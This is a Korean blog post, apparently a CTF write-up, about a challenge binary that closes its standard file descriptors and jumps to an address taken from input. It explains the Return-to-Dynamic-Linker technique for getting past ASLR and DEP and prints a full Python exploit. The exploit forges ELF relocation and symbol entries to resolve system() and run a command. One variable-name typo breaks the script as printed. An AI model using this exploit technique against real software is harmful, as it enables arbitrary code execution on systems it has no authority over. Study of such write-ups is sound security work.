코드를 대충 분석해보면..
read 함수를 통해 변수명 glob로 선언된 .bss 영역에 80byte 만큼 입력을 받는다. 그리고 shutdown 함수를 사용하여 소켓의 파일 디스크립터 0, 1, 2 모두 종료한다. 그리고는 문자 <-> 정수 변환 과정을 거치며, 두 번째 "." 문자열 뒤의 값으로 점프한다.
shtudown 함수로 인해 memory leak 을 이용하여 라이브러리 주소를 가져올 수 없다...
어떻게 해야할까...? 먼저 우리가 알고 있는 것은,
[!] Dynamic Linking 방식을 사용하고 있다.
[!] Full-RELRO 가 아니다.
[!] 만약 payload 를 넣었을 때, payload가 있는 곳의 주소를 알 수 있다. => .bss 영역
[!] eip 를 조작할 수 있다.
위의 조건을 이용하여, Return to Dynamic Linker 기법을 사용할 수 있다.
이 기법을 사용하면.. ASLR 과 DEP 를 우회하여 원하는 함수를 쉽게 호출할 수 있다.
- - - - - - - - - - - - - - - - - - - - - - exploit.py - - - - - - - - - - - - - - - - - - - - - -
from struct import *
from sys import *
p = lambda x : pack("<L", x)
STRTAB = 0x80481fc
SYMTAB = 0x804818c
JMPREL = 0x8048270
GLOB_SPACE = 0x80495c0
dynamic_linker = 0x80482a0
FUNC = "system\0"
Rel_addr = GLOB_SPACE + 20
FUNC_addr = ReL_addr + 8
Reloc_offset = Rel_addr - JMPREL
st_name = FUNC_addr - STRTAB
# fake Elf32_Rel
REL = ""
REL += p(0x8049610)
REL += p(0x14607)
# fake Elf32_Sym
SYM = ""
SYM += p(st_name)
# exploit payload
payload = ""
payload += "." + str(Reloc_offset) + "." + str(dynamic_linker)
payload += ";id;"
payload += "A" * (20 - len(payload))
payload += REL
payload += FUNC
payload += "\x00" * 9
payload += SYM
print payload
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
'ctf' 카테고리의 다른 글
[CodeGate 2015 CTF] bookstore (0) | 2016.11.14 |
---|---|
[CodeGate 2015 CTF] systemshock (0) | 2016.07.30 |
[CodeGate 2014 CTF] 4stone (0) | 2016.06.24 |
[CodeGate 2014 CTF] dodoCrackme (0) | 2016.06.11 |
[Plaid 2013 CTF] pork (0) | 2016.06.03 |